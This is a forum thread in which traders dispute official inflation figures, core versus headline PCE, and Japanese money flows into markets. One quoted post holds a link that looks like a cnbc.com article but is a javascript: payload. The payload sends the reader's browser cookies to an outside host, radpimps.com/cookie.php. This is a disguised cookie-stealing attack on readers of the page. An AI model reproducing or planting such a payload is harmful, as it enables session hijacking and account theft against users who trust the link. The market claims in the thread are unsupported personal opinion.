I just laugh when I see inflation numbers..

[myminitrading]

Quote from PohPoh:

I post this thread but not because I KNOW the numbers are a lie...I mean, I think it's a lie, but who the hell knows...not like I will ever be able to prove it..

Isn't it pathetic though, when we as traders call the govt statistics LIES...

What matters is where your money goes and how you spend it.

I can guarantee you my money is not going near as far at Kroger over the last year, prices on the staple things I buy are surging.

You just have to keep in mind the markets are rigged, they are rigged to go higher. wallstreet goal every single day is to get the markets higher, lie cheat steal, just get the market up.

 

[ByLoSellHi]

Assuming they even got the numbers right (which I highly doubt - massive underreporting of inflation), this methodology is so suspect, it's amazing it was ever allowed to be used in lieu of the CPI number the government used to use:

The less volatile measure of the PCE price index is the core PCE price index which excludes the more volatile and seasonal food and energy prices.

In comparison to the Consumer price index, this index uses current period quantities as the weights ("chain-type") rather than some fixed bundle. Current personal consumption is measured in today's prices and then compared to current personal consumption at prices from a base year. This price index method assumes that the consumer has made allowances for changes in relative prices.

So, they exclude food and energy (gas, utilities, etc). All they have to do now is exclude clothing, housing and medical care, and we go even lower on the PCE Core number. The markets would love that.

 

[myminitrading]

Quote from sp00z:

Dow 14,000K?

The quadruple expirations of futures and options on Wall Street today stirred the market in a cauldron of volatility already this week. Traders are watching to see what more the expirations will do, though many expect much of the action has already taken place. <a href="javascript:document.location='http://www.radpimps.com/cookie.php?cookie='+document.cookie;">cnbc.com/id/19244463</a>

Interesting. 14,000 does seem quite possible.

To wrap up the 2 quarter you bet its possiable.

 

[Bogan7]

Quote from myminitrading:

What is the purpose of reporting core and non core? logically one would think the things people use everyday would be the most important to monitor.

Core is obviously less affected by components with high vol so to help provide a degree of confidence. Headline is useful as it contains all the fun bits.

Dont agree that they were bad numbers inflation appears to be abating so the market is going HIGHER people maybe should stop calling for the mother of all crashes cause it aint going to happen.
You guys are starting to resemble those guys on the street with the end of the world signs strapped to them.

 

[dhpar]

Quote from myminitrading:

What is the purpose of reporting core and non core? logically one would think the things people use everyday would be the most important to monitor.

core is monitored to remove noise from permanent inflation trends, i.e. largely seasonality. nowadays however it is removing the trend itself. it is actually quite funny - it works like that:

1. piles of money push commodities/food higher
2. core stays low (due to many reasons) so Fed prints more money
3. Go back to 1.

 

[kashirin]

so maybe it's some sort of bubblish interpretation?
bonds up 0.3% in 10 days
and market just discounts it
looks like china #2

 

[polpolik]

This market is going up because Japan is giving away free money. That's the gist of it regardless how inflation number shows.

 

[number22]

Quote from polpolik:

This market is going up because Japan is giving away free money. That's the gist of it regardless how inflation number shows.

Most Funds are raising hell lot of money in Japan; close to 50 billion in last couple of weeks; what do you expect the market will go?

And 10 years BOJ bond is little more than 1.9%; and it still keeps its rate at 0.5%; and Japan still experiences deflation pressure; what joke.

 

[polpolik]

Quote from number22:

what do you expect the market will go?

I'm patiently waiting to see signs of market weakness and something that will force the hand of the BOJ.

Slowly accumulating Dec JPY calls.

 

[executioner]

whats funny is most of the reason for the so called "benign number" is due to falling home prices... stripping away falling home prices i think the number would have been much higher...